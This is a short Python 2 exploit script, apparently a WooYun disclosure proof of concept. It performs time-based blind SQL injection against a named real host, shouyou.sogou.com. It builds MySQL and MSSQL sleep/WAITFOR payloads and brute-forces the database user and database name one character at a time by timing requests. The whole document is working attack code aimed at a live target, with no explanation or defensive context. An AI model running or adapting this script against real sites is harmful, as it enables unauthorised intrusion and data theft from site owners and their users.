WooYun.org

import httplib,time,string,sys,random,urllib
def getPayloadURL(url,i,payload,payload_type):
    if payload_type == 1:
        s = "if(ascii(mid(user(),%s,1))=%s,sleep(6),0)" % (i,ord(payload))
    elif payload_type == 2:
        s = "if(ascii(mid(database(),%s,1))=%s,sleep(6),0)" % (i,ord(payload))
    elif payload_type == 3:
        s = "W8ul0scE';if(ascii(substring(USER,%s,1))=%s) WAITFOR DELAY '00:00:6'--" % (i,ord(payload))
    elif payload_type == 4:
        s = "W8ul0scE';if(ascii(substring(DB_NAME(),%s,1))=%s) WAITFOR DELAY '00:00:6'--" % (i,ord(payload))
    elif payload_type == 5:
        s = "aa'XOR(if(ascii(mid(user(),%s,1))=%s,sleep(6),0))OR'bbb" % (i,ord(payload))
    elif payload_type == 6:
        s = "aa'XOR(if(ascii(mid(database(),%s,1))=%s,sleep(6),0))OR'bbb" % (i,ord(payload))
    elif payload_type == 7:
        s = "-1;if(ascii(substring(USER,%s,1))=%s) WAITFOR DELAY '00:00:6'--" % (i,ord(payload))
    elif payload_type == 8:
        s = "-1;if(ascii(substring(DB_NAME(),%s,1))=%s) WAITFOR DELAY '00:00:6'--" % (i,ord(payload))
    elif payload_type == 9:
        s = "-1;if(ascii(substring(USER,%s,1))=%s) WAITFOR DELAY '00:00:6'--" % (i,ord(payload))
    elif payload_type == 10:
        s = "-1;if(ascii(substring(DB_NAME(),%s,1))=%s) WAITFOR DELAY '00:00:6'--" % (i,ord(payload))
    #print url + urllib.quote(s)
    return url + urllib.quote(s)
def exploit(host,url,payload_type,timeout=5):
    res = ''
    payloads = ['@','_','.']+ list(string.ascii_lowercase)+list(string.ascii_uppercase) +[str(i) for i in range(10) ]
    for i in range(1,30,1):
        for payload in payloads:
            try:
                conn = httplib.HTTPConnection(host, timeout=timeout)
                conn.request(method='GET',url=getPayloadURL(url,i,payload,payload_type),headers={'Content-Type': 'application/x-www-form-urlencoded'})
                sys.stdout.flush()
                conn.getresponse().read()
                conn.close()
            except Exception,e:
                res += payload
                print "\ncurrent result is",res
                break
    print res
if __name__=='__main__':
    host = 'shouyou.sogou.com'
    url= '/download.html?gid=wan_1570&source=shouyou.sogou.com'
    payload_type = 5
    exploit(host,url,payload_type)